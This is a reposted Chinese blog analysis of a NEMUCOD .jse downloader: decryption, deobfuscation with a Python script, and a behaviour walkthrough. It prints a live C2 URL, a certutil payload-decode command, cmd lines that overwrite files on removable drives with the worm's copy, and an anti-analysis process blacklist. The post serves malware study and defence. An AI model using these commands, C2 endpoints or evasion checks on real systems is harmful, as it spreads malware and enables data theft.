NEMUCOD病毒jse样本分析

news2024/12/30 2:21:21

该病毒使用微软的JScript编写,能够直接运行在Windows操作系统之上,采用了加密和混淆手段对抗监测,可检测是否运行在虚拟机中和系统中是否存在分析工具,可感染可移动存储介质,主要功能为下载器。CC服务器为185.159.82.15,通过关联威胁情报,该样本为NEMUCOD家族样本,该病毒通过垃圾邮件传播。主要功能如下图所示。

Figure 1 Infection chain

样本的基本信息

文件大小: 651 KB (666,907 字节)
MD5: da9cad0fa9c7e928b8affd67ea382226
SHA1: e6adc360a1c095f8ed1e53e5c90d467461d24578
SHA256: 2a35073fe045874835bc96fd221e985cf0898cf669892af54c9f64acd2f88d7b
SHA512: 1bd5d6bd47d7ccba90d22c93380677f06262e87539e0c6a1209c24f5ebcb8d8b784d289d698db38be2e6e92663d57ea1cb1a99cb9f54ea883e98ffe380901d6d
CRC32: a5808d46

分析环境和工具

  • window7 x64 虚拟机

  • vscode 用于格式化js格式

  • PrimalScript2007 用于调试jscript代码

  • Anaconda3(python3)

  • JScript.Encode 在线解密 (jb51.net) jse解密

  • Online JavaScript beautifier js代码格式化

1.解密

该样本是一个加密的js文件,打开后如下图所示

在这里插入图片描述

使用了windows 的jsencode方式进行加密,在百度上搜索jsencod解密会找到很多在线解密的网站,这里使用 https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm 进行解密。

在这里插入图片描述

解密后的代码,使用https://beautifier.io/进行格式化

在这里插入图片描述

格式化后的代码如下图所示

在这里插入图片描述

2. js去混淆

解密后的js代码是经过混淆的代码,需要去混淆才能了解其真实的功能。

代码中大部分的字符串,都使用了PtovUtS函数进行了混淆,这个函数的功能是根据ascii码返回相应的字符,类似于python中的chr函数

function PtovUtS(pjepfor, ufupgr) {
    //try块中的部分不会被执行,因为jnvdiscu_5函数无定义
    try {
        gUEncforward81ko = 'conscience91';
        gUEncable81ko = 'situationbecame95';
        gUEncHere83ko = 'humans5';
        jnvdiscu_5(pjepfor, ufupgr);
    } catch (e) {
        //若第二个参数不是hate的话,返回 true
        if (ufupgr != 'hate') {
            return true;
        } else {
            //若第二个参数是hate的话,返回第一个参数的表示的ascii码
            return String[['from'] + ['Char'] + ['Code']](pjepfor);
        }
        return 0;
    }
};

比如下面这段代码

var gUEncthere67 = this[(function() {
    var testh6 = [];
    testh6[0] = 0;
    try {
        testh6[1] = pvkgive4_7();
    } catch (nhusEuro) {
        if ((nhusEuro + '').indexOf('b') > -1 && PtovUtS(234, 234)) {
            testh6[1] = 87;
            return PtovUtS(testh6[1] + testh6[0], 'hate');
        }
    }
    return PtovUtS(testh6[1] + testh6[0], 'hate');
})() + (function() {
    var suiwri6 = [];
    suiwri6[0] = 1;
    try {
        suiwri6[1] = ([82] * 1);
    } catch (jpejava) {
        if ((jpejava + '').indexOf('b') > -1 && PtovUtS(40, 40)) {
            suiwri6[1] = 82;
            return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
        }
    }
    return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
})('Both38') + (function() {
    var fpugrati9 = [];
    fpugrati9[0] = 0;
    try {
        fpugrati9[1] = {
            11: 99
        } ['11'];
    } catch (qvvpskil) {
        if ((qvvpskil + '').indexOf('b') > -1 && PtovUtS(164, 164)) {
            fpugrati9[1] = 99;
            return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
        }
    }
    return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
})() + (function() {
    var ttuconte7 = [];
    ttuconte7[0] = 0;
    try {
        ttuconte7[1] = ([114] * 1);
    } catch (wswtac) {
        if ((wswtac + '').indexOf('b') > -1 && PtovUtS(43, 43)) {
            ttuconte7[1] = 114;
            return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
        }
    }
    return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
})() + (function() {
    var sphavala8 = [];
    sphavala8[0] = 0;
    try {
        sphavala8[1] = ([105] * 1);
    } catch (ffivfoun) {
        if ((ffivfoun + '').indexOf('b') > -1 && PtovUtS(41, 41)) {
            sphavala8[1] = 105;
            return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
        }
    }
    return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
})() + (function() {
    var nnjgr9 = [];
    nnjgr9[0] = 1;
    try {
        nnjgr9[1] = ttudiscu_7();
    } catch (kusjforce) {
        if ((kusjforce + '').indexOf('b') > -1 && PtovUtS(101, 101)) {
            nnjgr9[1] = 111;
            return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
        }
    }
    return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
})(true) + (function() {
    var twksk8 = [];
    twksk8[0] = 4;
    try {
        twksk8[1] = ([112] * 1);
    } catch (hkwhoth) {
        if ((hkwhoth + '').indexOf('b') > -1 && PtovUtS(96, 96)) {
            twksk8[1] = 112;
            return PtovUtS(twksk8[1] + twksk8[0], 'hate');
        }
    }
    return PtovUtS(twksk8[1] + twksk8[0], 'hate');
})('human41', 'entertain10', 'clutches13', 'thus98')];

其真实的语句为

var gUEncthere67 = this["WScript"];

使用python和正则表达式,结合系统自带的cscript.exe程序,可还原大部分被混淆的代码,python代码如下

#-*- coding:utf-8 -*-
import re,os

js = """
function PtovUtS(pjepfor, ufupgr) {
    try {
        gUEncforward81ko = 'conscience91';
        gUEncable81ko = 'situationbecame95';
        gEncHere83ko = 'humans5';
        jnvdiscu_5(pjepfor, ufupgr);
    } catch (e) {
        if (ufupgr != 'hate') {
            return true;
        } else {
            return String[['from'] + ['Char'] + ['Code']](pjepfor);
        }
        return 0;
    }
};"""

filename = "2a35073fe045874835bc96fd221e985cf0898cf669892af54c9f64acd2f88d7b_decode.js"
data = open(filename,'r',encoding='utf-8').read()


"""
匹配类似这样的代码段
(function() {
    var qftmerel7 = [];
    qftmerel7[0] = 1;
    try {
        qftmerel7[1] = ([101] * 1);
    } catch (kvnuhisfo) {
        if ((kvnuhisfo + '').indexOf('b') > -1 && PtovUtS(250, 250)) {
            qftmerel7[1] = 101;
            return PtovUtS(qftmerel7[1] + qftmerel7[0], 'hate');
        }
    }
    return PtovUtS(qftmerel7[1] + qftmerel7[0], 'hate');
})(2434) + (function() {
    var pvpava5 = [];
    pvpava5[0] = 0;
    try {
        pvpava5[1] = {
            25: 114
        } ['25'];
    } catch (wkesfou) {
        if ((wkesfou + '').indexOf('b') > -1 && PtovUtS(53, 53)) {
            pvpava5[1] = 114;
            return PtovUtS(pvpava5[1] + pvpava5[0], 'hate');
        }
    }
    return PtovUtS(pvpava5[1] + pvpava5[0], 'hate');
})() + ...
"""
a = re.findall(r"((\(function\(\) \{.*?PtovUtS\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)


for i in a:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        break
#替换原始文件 
open(filename,'w',encoding='utf-8').write(data)

上面代码中的正则表达式含义如下图所示

在这里插入图片描述

去混淆之后代码不到400行,可以看到CC服务器的IP
在这里插入图片描述

3 分析去混淆后的代码

代码的主体是一个死循环

首先会获取系统操作系统和进程信息,保存为一个字符串

在这里插入图片描述

操作系统信息如下,包括名称和版本号,如

Microsoft Windows 7 旗舰版 6.1.7601

进程信息 进程名1*进程路径1\n进程名2*进程路径2\n…,如

System Idle Process*null
System*null
smss.exe*null
csrss.exe*C:\Windows\system32\csrss.exe
wininit.exe*C:\Windows\system32\wininit.exe
csrss.exe*C:\Windows\system32\csrss.exe
winlogon.exe*C:\Windows\system32\winlogon.exe
services.exe*C:\Windows\system32\services.exe
lsass.exe*C:\Windows\system32\lsass.exe
lsm.exe*C:\Windows\system32\lsm.exe
svchost.exe*C:\Windows\system32\svchost.exe
vmacthlp.exe*C:\Program Files\VMware\VMware Tools\vmacthlp.exe
svchost.exe*C:\Windows\system32\svchost.exe
svchost.exe*C:\Windows\System32\svchost.exe
svchost.exe*C:\Windows\system32\svchost.exe32\svchost.exe

匹配当前进程信息中是否含有下列字符串,有的话退出。该样本会检测当前环境是否为虚拟机,是否运行为取证工具和防病毒软件。

2B.exe
indexOf
Procmon
Wireshark
Temp\iexplore.exe
ProcessHacker
vmtoolsd
VBoxService
python
Proxifier.exe
Johnson
ImmunityDebugger.exe
lordPE.exe
ctfmon.exe*JOHN-PC
BehaviorDumper
anti-virus.EXE
AgentSimulator.exe
VzService.exe
VBoxTray.exe
VmRemoteGuest
SystemIT|admin
WIN7-TRAPS
Emily\AppData
procexp
tcpdump
FrzState2k
DFLocker64
vmware
LOGSystem.Agent.Service.exe
C:\Users\user\
C:\Users\milozs\
windanr.exe
gemu-ga.exe
HAPUBWS
BennyDB.exe
Peter Wilson
Hong Lee

在这里插入图片描述

将自己拷贝到系统启动目录下,命名为

C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse

在这里插入图片描述

将之前获取的操作系统和进程信息通过POST方法发送给C&C服务器,C&C服务器的URL为

https://185.159.82.15/hollyhole/c644.php

在这里插入图片描述

将后台的响应保存为一个PE文件,文件名为一个 %TEMP%\随机值.exe ,若响应不是二进制数据(实际为base64编码的pe文件),将其保存为%TEMP%\随机值.cro,再使用下面的命令将其解码为pe文件

certutil -f decode C:\Users\ADMINI~1\AppData\Local\Temp\120698.cro C:\Users\ADMINI~1\AppData\Local\Temp\779421.exe

在这里插入图片描述

若下载文件失败,将在可移动驱动器中查找具有以下扩展名的文件,并使用自身的副本替换这些文件

*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb

在这里插入图片描述

具体操作为:
首先遍历系统当前所有的驱动器,寻找可移动存储介质,找到后执行如下命令,将当前驱动器下所有后缀名为*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb的文件名输出到文件 %TEMP%\ascii.txt

cmd /U /Q /C cd /D X: && dir /b /s /x *.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb >> %TEMP%\ascii.txt

然后,再遍历%TEMP%\ascii.txt中的文件,使用自身副本替换掉这些文件,使用如下命令

cmd /U /Q /C copy /Y C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse X:\y\z.jse && && del /Q /F X:\y\z.doc

最后,删除文件 %TEMP%\ascii.txt

若下载的文件是一个合法的PE文件,执行

在这里插入图片描述

参考资料

Online JavaScript beautifier

JS混淆加密压缩 - 站长工具 (chinaz.com)

Trickbot Delivered via Highly Obfuscated JS File (trendmicro.com)

Deobfuscating Ostap: TrickBot’s 34,000 Line JavaScript Downloader | HP Wolf Security

shell.jse - Pastebin.com

新型JSNEMUCOD病毒样本分析报告 - FreeBuf网络安全行业门户

Trickbot银行木马变种分析 - 百度安全社区 (baidu.com)

Trickbot银行木马变种分析 - FreeBuf网络安全行业门户

变形脚本病毒的“照妖镜”——火绒“脚本行为沙盒”简介 (huorong.cn)

TrojanDownloader:JS/Nemucod分析【原创+翻译】 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

警惕钓鱼邮件——近期勒索软件高发 - 知乎 (zhihu.com)

Reverse engineering a JavaScript obfuscated dropper | Infosec Resources (infosecinstitute.com)

http://www.cse.psu.edu/~sxz16/papers/malware.pdf

(185条消息) 使用JScript.encode进行网页的加密与解密 _joliny的博客-CSDN博客

Michael’s Blog :: Just Do IT (toplee.com)

JScript.Encode 在线解密 (jb51.net)

跟我一起写Windows JS脚本(一):Hello World

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/73660.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

牛客网刷题【BC114\BC123\BC125\BC13\BC93\BC95】

目录 一、BC114 小乐乐排电梯 二、BC123 小乐乐找最大数 三、BC125 小乐乐转换成绩 四、BC13 ASCII码 五、BC93 统计数据正负个数 六、BC95 最高分与最低分之差 一、BC114 小乐乐排电梯 #include <stdio.h>int main() {int n0;scanf("%d",&n…

Aspose.Words 22.12.0 for NET cRACK

.NET API 来处理 Word 文件 无需使用外部软件即可创建、编辑、呈现 Word 文档并将其转换为多种格式。您还可以生成报告以可视化数据。 .NET 的 Aspose.Words Aspose.Words for .NET 是一种高级文档处理 API&#xff0c;可对各种文件格式执行广泛的管理和操作任务。API 支持…

(文章复现)5.基于BP神经网络的风电功率预测方法(MATLAB程序)

联系方式&#xff1a;2645521500 复现文章&#xff1a; 基于BP神经网络的风电功率预测方法——刘立群&#xff08;2021年&#xff09; 摘要&#xff1a; 风电功率预测结果的准确性&#xff0c;不仅关系到风力发电厂的综合运行效率&#xff0c;也与区域运行成本具备直接联系…

Java面试-MySQL事务专题

链接&#xff1a;https://pan.baidu.com/s/1mw4sej8BzdHNCkaib4ebeg 提取码&#xff1a;j2qu 1 事务的四个特点是什么&#xff1f;他们是如何实现的&#xff1f; ACID-原子性、一致性、隔离性和持久性。 ACID原理原子性undolog一致性通过其他三个特性来实现的隔离性锁MVCC持…

java计算机毕业设计ssm校园志愿者服务系统u7thd(附源码、数据库)

java计算机毕业设计ssm校园志愿者服务系统u7thd&#xff08;附源码、数据库&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xf…

初学者必刷题---PTA基础编程题目集第一期

&#x1f680;write in front&#x1f680; &#x1f4dd;个人主页&#xff1a;认真写博客的夏目浅石. &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​ &#x1f4e3;系列专栏&#xff1a;初学者必刷题—鹏哥推荐 &#x1f4ac;总结&#xff1a;希望…

STC 51单片机62—— Proteus仿真多位数码管稳定显示 不抖动

#include<reg52.h> #include<intrins.h> #define uchar unsigned char #define uint unsigned int //uchar code dis_code[]{0x80,0xf8,0x82,0x92,0x99,0xb0,0xa4,0xf9}; //共阳数码管段码表 //共阴字形码表【实验】数码管实验时&#xff0c;一定要将点阵模块跳…

玩转系统|如何Windows Update自动更新

目录 为什么要关闭Windows自动更新&#xff1f; 1、防止在工作时间突然中断计算机。 2、应用程序兼容性变差。 可能会导致系统损坏。 关闭Windows自动更新的几种方法&#xff01; 方法一&#xff1a;通过Windows设置关闭Windows自动更新 方法二&#xff1a;通过组策略编…

如何查看浏览器页面缓存内容(代码控制台)【详细教程】

如何查看浏览器页面缓存内容——代码&控制台知识调用前言引入控制台输入代码查看在控制台application查看知识调用 文章可能需要用到的知识&#x1f525;&#x1f525;&#x1f525;浏览器缓存有哪些&#xff08;通用缓存有哪些&#xff09; 前言引入 浏览器有多种缓存&a…

密码重置、API调用、远程命令,Zabbix用户必知的几个技巧

作者&#xff1a;张思德&#xff0c;Zabbix社区签约专家&#xff0c;2017-2022Zabbix中国峰会讲师 前言 Zabbix版本迭代很快&#xff0c;而且每个版本都会有很多新特性&#xff0c;有时有一个不起眼的小的更新却造成很多老司机翻车&#xff0c;以下主要介绍Zabbix几个常见的知识…

3.1.1 积分和微分放大器

笔者电子信息专业硕士毕业&#xff0c;获得过多次电子设计大赛、大学生智能车、数学建模国奖&#xff0c;现就职于南京某半导体芯片公司&#xff0c;从事硬件研发&#xff0c;电路设计研究。对于学电子的小伙伴&#xff0c;深知入门的不易&#xff0c;特开次博客交流分享经验&a…

ADI Blackfin DSP处理器-BF533的开发详解8:Timer定时器的驱动和应用(含源代码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 接口功能介绍 ADSP-BF53x 上有 3 个通用定时器&#xff0c;每个定时器有三种模式&#xff1a; 脉冲宽度调制模式&#xff08;PWM_OUT&#xff0…

【信号处理】基于遗传算法的噪声图像的边缘检测(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 图像的边缘是指图像灰度急剧发生变化的不连续的地方&#xff0c;主要存在于目标和目标、背景和目标、不同色彩的区域之间&#…

最新版SwitchHosts下载安装教程

文章目录前言一、SwitchHosts下载1.第一步2.第二步二、常见问题前言 SwitchHosts开源免费&#xff0c;社区稳定维护&#xff0c;特别香~ 一、SwitchHosts下载 https://github.com/oldj/SwitchHosts 1.第一步 打开上面的官网&#xff0c;之后往下面滑动&#xff0c;看到Swit…

Centos7 部署 VerneMQ 高可用集群

1.简要说明 1.1概述 VerneMQ首先是一个MQTT发布/订阅消息代理&#xff0c;它实现了OASIS行业标准MQTT协议&#xff1b;但是&#xff0c;VerneMQ还旨在通过提供一组与可扩展性&#xff0c;可靠性和高性能以及操作简单性相关的独特功能&#xff0c;将消息传递和物联网应用程序提…

Dynamics 365Online 应用内消息通知(In-app notifications)

应用内通知其实一直是个刚需&#xff0c;但D365一直缺乏这个功能&#xff0c;如果客户有需求&#xff0c;我们只有通过自定义的方式实现&#xff0c;好在V9以后顶部栏可以自定义了&#xff0c;可以自己加Icon&#xff0c;实现通知的样式。 好在2022WAV1后&#xff0c;D365终于加…

喜讯丨上海首家代谢组学技术研究民非机构-上海百趣代谢组学技术研究中心获批成立

经上海市科学技术委员会批复同意组建&#xff0c;由上海市民政局审批&#xff0c;上海百趣代谢组学技术研究中心正式成立。上海百趣代谢组学技术研究中心将联合科研单位、相关企业&#xff0c;共同推动代谢组学技术研究在检测方法、分析方法、检测仪器和数据库标准化方面的进步…

景联文科技:一文详解!如何选择一家专业的数据标注公司?

“近年来&#xff0c;人工智能发展速度迅速&#xff0c;三大决定性因素是&#xff1a;算法、算力和数据&#xff0c;数据是人工智能的基础。数据标注的精确度是行业内的一大重点&#xff0c;随着人工智能技术的不断成熟&#xff0c;对场景化数据的精确度要求将越来越高&#xf…

[附源码]Python计算机毕业设计Django游戏论坛网站

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

ChatGPT能否取代Google、Baidu,成为下一代搜索引擎?一文了解最近火出圈的ChatGPT

前 言 OpenAI这家公司又放大招了&#xff0c;继发布GPT、GPT2和GPT3模型后&#xff0c;本月初发布了ChatGPT模型【也被称为GPT3.5】&#xff0c;结合大家的测试效果来看&#xff0c;该模型效果确实很震撼&#xff0c;在人工智能圈子引起了不小的轰动。在AI发展相对处于低谷期的…